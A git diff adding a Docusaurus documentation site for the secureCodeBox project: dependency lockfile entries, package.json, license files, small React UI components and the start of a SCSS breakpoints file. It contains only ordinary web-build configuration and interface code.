"https://registry.npmjs.org/web-namespaces/-/web-namespaces-1.1.4.tgz", + "integrity": "sha512-wYxSGajtmoP4WxfejAPIr4l0fVh+jeMXZb08wNc0tMg6xsfZXj3cECqIK0G7ZAqUq0PP8WlMDtaOGVBTAWztNw==" + }, + "web-streams-polyfill": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.2.1.tgz", + "integrity": "sha512-e0MO3wdXWKrLbL0DgGnUV7WHVuw9OUvL4hjgnPkIeEvESk74gAITi5G606JtZPp39cd8HA9VQzCIvA49LpPN5Q==" + }, + "webidl-conversions": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", + "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ==" + }, + "webpack": { + "version": "5.88.2", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.88.2.tgz", + "integrity": "sha512-JmcgNZ1iKj+aiR0OvTYtWQqJwq37Pf683dY9bVORwVbUrDhLhdn/PlO2sHsFHPkj7sHNQF3JwaAkp49V+Sq1tQ==", + "requires": { + "@types/eslint-scope": "^3.7.3", + "@types/estree": "^1.0.0", + "@webassemblyjs/ast": "^1.11.5", + "@webassemblyjs/wasm-edit": "^1.11.5", + "@webassemblyjs/wasm-parser": "^1.11.5", + "acorn": "^8.7.1", + "acorn-import-assertions": "^1.9.0", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.15.0", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.9", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.7", + "watchpack": "^2.4.0", + "webpack-sources": "^3.2.3" + }, + "dependencies": { + "acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==" + }, + "acorn-import-assertions": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz", + "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==", + "requires": {} + }, + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "requires": { + "mime-db": "1.52.0" + } + }, + "schema-utils": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "requires": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } + } + }, + "webpack-bundle-analyzer": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/webpack-bundle-analyzer/-/webpack-bundle-analyzer-4.9.0.tgz", + "integrity": "sha512-+bXGmO1LyiNx0i9enBu3H8mv42sj/BJWhZNFwjz92tVnBa9J3JMGo2an2IXlEleoDOPn/Hofl5hr/xCpObUDtw==", + "requires": { + "@discoveryjs/json-ext": "0.5.7", + "acorn": "^8.0.4", + "acorn-walk": "^8.0.0", + "chalk": "^4.1.0", + "commander": "^7.2.0", + "gzip-size": "^6.0.0", + "lodash": "^4.17.20", + "opener": "^1.5.2", + "sirv": "^1.0.7", + "ws": "^7.3.1" + }, + "dependencies": { + "acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==" + }, + "commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==" + } + } + }, + "webpack-dev-middleware": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.3.tgz", + "integrity": "sha512-hj5CYrY0bZLB+eTO+x/j67Pkrquiy7kWepMHmUMoPsmcUaeEnQJqFzHJOyxgWlq746/wUuA64p9ta34Kyb01pA==", + "requires": { + "colorette": "^2.0.10", + "memfs": "^3.4.3", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "requires": { + "mime-db": "1.52.0" + } + }, + "range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + } + } + }, + "webpack-dev-server": { + "version": "4.15.1", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.15.1.tgz", + "integrity": "sha512-5hbAst3h3C3L8w6W4P96L5vaV0PxSmJhxZvWKYIdgxOQm8pNZ5dEOmmSLBVpP85ReeyRt6AS1QJNyo/oFFPeVA==", + "requires": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/serve-static": "^1.13.10", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.5.5", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.0.11", + "chokidar": "^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^2.0.0", + "default-gateway": "^6.0.3", + "express": "^4.17.3", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.3", + "ipaddr.js": "^2.0.1", + "launch-editor": "^2.6.0", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "rimraf": "^3.0.2", + "schema-utils": "^4.0.0", + "selfsigned": "^2.1.1", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^5.3.1", + "ws": "^8.13.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + }, + "ws": { + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "requires": {} + } + } + }, + "webpack-merge": { + "version": "5.9.0", + "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.9.0.tgz", + "integrity": "sha512-6NbRQw4+Sy50vYNTw7EyOn41OZItPiXB8GNv3INSoe3PSFaHJEz3SHTrYVaRm2LilNGnFUzh0FAwqPEmU/CwDg==", + "requires": { + "clone-deep": "^4.0.1", + "wildcard": "^2.0.0" + } + }, + "webpack-sources": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==" + }, + "webpackbar": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/webpackbar/-/webpackbar-5.0.2.tgz", + "integrity": "sha512-BmFJo7veBDgQzfWXl/wwYXr/VFus0614qZ8i9znqcl9fnEdiVkdbi0TedLQ6xAK92HZHDJ0QmyQ0fmuZPAgCYQ==", + "requires": { + "chalk": "^4.1.0", + "consola": "^2.15.3", + "pretty-time": "^1.1.0", + "std-env": "^3.0.1" + } + }, + "websocket-driver": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "requires": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + } + }, + "websocket-extensions": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==" + }, + "whatwg-url": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", + "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==", + "requires": { + "tr46": "~0.0.3", + "webidl-conversions": "^3.0.0" + } + }, + "which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "requires": { + "isexe": "^2.0.0" + } + }, + "which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "requires": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + } + }, + "which-builtin-type": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.1.3.tgz", + "integrity": "sha512-YmjsSMDBYsM1CaFiayOVT06+KJeXf0o5M/CAd4o1lTadFAtacTUM49zoYxr/oroopFDfhvN6iEcBxUyc3gvKmw==", + "dev": true, + "requires": { + "function.prototype.name": "^1.1.5", + "has-tostringtag": "^1.0.0", + "is-async-function": "^2.0.0", + "is-date-object": "^1.0.5", + "is-finalizationregistry": "^1.0.2", + "is-generator-function": "^1.0.10", + "is-regex": "^1.1.4", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.9" + }, + "dependencies": { + "isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true + } + } + }, + "which-collection": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.1.tgz", + "integrity": "sha512-W8xeTUwaln8i3K/cY1nGXzdnVZlidBcagyNFtBdD5kxnb4TvGKR7FfSIS3mYpwWS1QUCutfKz8IY8RjftB0+1A==", + "dev": true, + "requires": { + "is-map": "^2.0.1", + "is-set": "^2.0.1", + "is-weakmap": "^2.0.1", + "is-weakset": "^2.0.1" + } + }, + "which-typed-array": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.11.tgz", + "integrity": "sha512-qe9UWWpkeG5yzZ0tNYxDmd7vo58HDBc39mZ0xWWpolAGADdFOzkfamWLDxkOWcvHQKVmdTyQdLD4NOfjLWTKew==", + "dev": true, + "requires": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.0" + } + }, + "widest-line": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-4.0.1.tgz", + "integrity": "sha512-o0cyEG0e8GPzT4iGHphIOh0cJOV8fivsXxddQasHPHfoZf1ZexrfeA21w2NaEN1RHE+fXlfISmOE8R9N3u3Qig==", + "requires": { + "string-width": "^5.0.1" + } + }, + "wildcard": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.1.tgz", + "integrity": "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==" + }, + "wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "requires": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==" + }, + "ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==" + }, + "strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "requires": { + "ansi-regex": "^6.0.1" + } + } + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" + }, + "write-file-atomic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "requires": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "ws": { + "version": "7.5.9", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "requires": {} + }, + "xdg-basedir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/xdg-basedir/-/xdg-basedir-4.0.0.tgz", + "integrity": "sha512-PSNhEJDejZYV7h50BohL09Er9VaIefr2LMAf3OEmpCkjOi34eYyQYAXUTjEQtZJTKcF0E2UKTh+osDLsgNim9Q==" + }, + "xml-js": { + "version": "1.6.11", + "resolved": "https://registry.npmjs.org/xml-js/-/xml-js-1.6.11.tgz", + "integrity": "sha512-7rVi2KMfwfWFl+GpPg6m80IVMWXLRjO+PxTq7V2CDhoGak0wzYzFgUY2m4XJ47OGdXd8eLE8EmwfAmdjw7lC1g==", + "requires": { + "sax": "^1.2.4" + } + }, + "xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" + }, + "yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==" + }, + "yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==" + }, + "zwitch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-1.0.5.tgz", + "integrity": "sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw==" + } + } +} diff --git a/documentation/package-lock.json.license b/documentation/package-lock.json.license new file mode 100644 index 0000000000..c95bc37185 --- /dev/null +++ b/documentation/package-lock.json.license @@ -0,0 +1,3 @@ +SPDX-FileCopyrightText: the secureCodeBox authors + +SPDX-License-Identifier: Apache-2.0 diff --git a/documentation/package.json b/documentation/package.json new file mode 100644 index 0000000000..785d8fcd9f --- /dev/null +++ b/documentation/package.json @@ -0,0 +1,66 @@ +{ + "name": "securecodebox", + "version": "2.0.0", + "license": "Apache-2.0", + "repository": { + "type": "git", + "url": "https://github.com/secureCodeBox/documentation.git" + }, + "scripts": { + "docusaurus": "docusaurus", + "prestart": "npm run build:docs && npm run build:integrations", + "start": "docusaurus start", + "prebuild": "npm run build:docs && npm run build:integrations", + "build": "docusaurus build", + "build:docs": "node ./src/docs.build.js", + "build:integrations": "node ./src/integrations.build.js", + "swizzle": "docusaurus swizzle", + "deploy": "docusaurus deploy", + "serve": "docusaurus serve" + }, + "dependencies": { + "@cmfcmf/docusaurus-search-local": "^1.1.0", + "@docusaurus/core": "^2.4.1", + "@docusaurus/preset-classic": "^2.4.1", + "@docusaurus/theme-live-codeblock": "^2.4.1", + "@mdx-js/react": "^1.6.22", + "clsx": "^1.1.1", + "colors": "^1.4.0", + "docusaurus-plugin-sass": "^0.2.5", + "gray-matter": "^4.0.3", + "mustache": "^4.2.0", + "node-fetch": "^3.1.1", + "prism-react-renderer": "^1.2.1", + "react": "^17.0.2", + "react-accessible-accordion": "^5.0.0", + "react-dom": "^17.0.2", + "rimraf": "^3.0.2", + "sass": "^1.35.1" + }, + "browserslist": { + "production": [ + ">0.2%", + "not dead", + "not op_mini all" + ], + "development": [ + "last 1 chrome version", + "last 1 firefox version", + "last 1 safari version" + ] + }, + "devDependencies": { + "@docusaurus/module-type-aliases": "^2.4.1", + "@tsconfig/docusaurus": "^2.0.0", + "@types/node": "^20.5.1", + "@types/react": "^17.0.20", + "@types/react-helmet": "^6.1.2", + "@types/react-router-dom": "^5.1.8", + "eslint": "^8.47.0", + "eslint-plugin-prettier": "^3.4.0", + "eslint-plugin-react": "^7.33.1", + "eslint-plugin-security": "^1.7.1", + "sass-loader": "^13.3.2", + "typescript": "^5.1.6" + } +} diff --git a/documentation/package.json.license b/documentation/package.json.license new file mode 100644 index 0000000000..c95bc37185 --- /dev/null +++ b/documentation/package.json.license @@ -0,0 +1,3 @@ +SPDX-FileCopyrightText: the secureCodeBox authors + +SPDX-License-Identifier: Apache-2.0 diff --git a/documentation/sidebars.json b/documentation/sidebars.json new file mode 100644 index 0000000000..1fd014a287 --- /dev/null +++ b/documentation/sidebars.json @@ -0,0 +1,8 @@ +{ + "docs": [ + { + "type": "autogenerated", + "dirName": "." + } + ] +} diff --git a/documentation/src/components/Accoordion.tsx b/documentation/src/components/Accoordion.tsx new file mode 100644 index 0000000000..e14a7b9795 --- /dev/null +++ b/documentation/src/components/Accoordion.tsx @@ -0,0 +1,46 @@ +import clsx from "clsx"; +import React from "react"; +import {useColorMode} from '@docusaurus/theme-common'; +import { + Accordion as AccessibleAccordion, + AccordionItem, + AccordionItemButton, + AccordionItemHeading, + AccordionItemPanel, +} from "react-accessible-accordion"; +import styles from "../css/accordion.module.scss"; + +export default function Accordion({ + items, + fullWidth = false, +}: { + items: { title: string; content: string }[]; + fullWidth?: boolean; +}) { + const { isDarkTheme } = useColorMode(); + return ( + <AccessibleAccordion + allowZeroExpanded={true} + allowMultipleExpanded={false} + className={clsx(styles.accordion, fullWidth ? "" : styles.width80)} + > + {items.map((item, i) => ( + <AccordionItem className={styles.accordionItem} key={i}> + <AccordionItemHeading> + <AccordionItemButton + className={clsx( + styles.accordionButton, + isDarkTheme ? styles.dark : null + )} + > + {item.title} + </AccordionItemButton> + </AccordionItemHeading> + <AccordionItemPanel className={styles.accordionPanel}> + {item.content} + </AccordionItemPanel> + </AccordionItem> + ))} + </AccessibleAccordion> + ); +} diff --git a/documentation/src/components/FlipCard.tsx b/documentation/src/components/FlipCard.tsx new file mode 100644 index 0000000000..3833c5b571 --- /dev/null +++ b/documentation/src/components/FlipCard.tsx @@ -0,0 +1,32 @@ +import clsx from "clsx"; +import React, { useState } from "react"; +import styles from "../css/flipcard.module.scss"; + +const FlipCard = ({ + title, + description, + imgSrc, +}: { + title: string; + description: string; + imgSrc: string; +}) => { + const [flipped, setFlipped] = useState(false); + + return ( + <div + onMouseEnter={() => setFlipped(true)} + onMouseLeave={() => setFlipped(false)} + className={clsx(styles.flipcard, { [styles.flipcardFlip]: flipped })} + > + <div className={styles.flipcardInner}> + <div className={styles.flipcardFront}> + <img src={imgSrc} className={styles.flipcardLogo} /> + <h4>{title}</h4> + </div> + <div className={clsx(styles.flipcardBack)}>{description}</div> + </div> + </div> + ); +}; +export default FlipCard; diff --git a/documentation/src/components/Integration.tsx b/documentation/src/components/Integration.tsx new file mode 100644 index 0000000000..c3bebf5c59 --- /dev/null +++ b/documentation/src/components/Integration.tsx @@ -0,0 +1,49 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// SPDX-License-Identifier: Apache-2.0 + +import Link from "@docusaurus/Link"; +import useBaseUrl from "@docusaurus/useBaseUrl"; +import {useColorMode} from '@docusaurus/theme-common'; +import clsx from "clsx"; +import React from "react"; +import igStyles from "../css/integration.module.scss"; +import styles from "../css/styles.module.scss"; + +export default function Integration({ + imageUrl, + title, + usecase, + type, + path, +}: { + imageUrl?: string; + title: string; + usecase: string; + type?: string; + path: string; +}) { + const { isDarkTheme } = useColorMode(); + + const imgUrl = useBaseUrl(imageUrl); + + return ( + <Link + className={clsx( + igStyles.integration, + isDarkTheme ? styles.dark : styles.light + )} + to={path} + > + {imgUrl && ( + <div className="text--center"> + <img className={igStyles.integrationImage} src={imgUrl} alt={title} /> + </div> + )} + <h3> + {title} {type ? `(${type})` : ""} + </h3> + <p>{usecase}</p> + </Link> + ); +} diff --git a/documentation/src/components/RoleCard.tsx b/documentation/src/components/RoleCard.tsx new file mode 100644 index 0000000000..ced6d576cc --- /dev/null +++ b/documentation/src/components/RoleCard.tsx @@ -0,0 +1,30 @@ +import React from "react"; + +export default function ({ + imageSrc, + name, + role, +}: { + imageSrc: string; + name: string; + role: string; +}) { + const size = "200px"; + + return ( + <div className="card" style={{ width: size, margin: "auto" }}> + <div className="card__image"> + {/* The image is designed ot be square, hence for the best looking result use square images. */} + <img + src={imageSrc} + alt="Role image" + style={{ height: size, width: size, objectFit: "cover" }} + /> + </div> + <div className="card__body"> + <h4>{name}</h4> + <small>{role}</small> + </div> + </div> + ); +} diff --git a/documentation/src/components/Section.tsx b/documentation/src/components/Section.tsx new file mode 100644 index 0000000000..9dac01c587 --- /dev/null +++ b/documentation/src/components/Section.tsx @@ -0,0 +1,36 @@ +// SPDX-FileCopyrightText: the secureCodeBox authors +// +// SPDX-License-Identifier: Apache-2.0 + +import React from "react"; + +const Section = ({ + children, + title, + subtitle, + alignment = "left", +}: { + children: React.ReactNode; + title?: string; + subtitle?: string | JSX.Element; + alignment?: "center" | "left" | "right"; +}) => ( + <> + <div + style={{ + textAlign: alignment, + }} + > + <h2 + style={{ + margin: "20px 0px", + }} + > + {title} + </h2> + <div style={{marginBottom: "40px"}}>{subtitle}</div> + </div> + {children} + </> +); +export default Section; diff --git a/documentation/src/css/_breakpoints.scss b/documentation/src/css/_breakpoints.scss new file mode 100644 index 0000000000..0782807f36 --- /dev/null +++ b/documentation/src/css/_breakpoints.scss @@ -0,0 +1,17 @@ +/* + * SPDX-FileCopyrightText: the secureCodeBox authors + * + * SPDX-License-Identifier: Apache-2.0 + */ + +// Small tablets and large smartphones (landscape view) +$screen-sm-min: 576px; + +// Small tablets (portrait view) +$screen-md-min: 768px; + +// Tablets and small desktops +$screen-lg-min: 992px; + +// Large tablets and 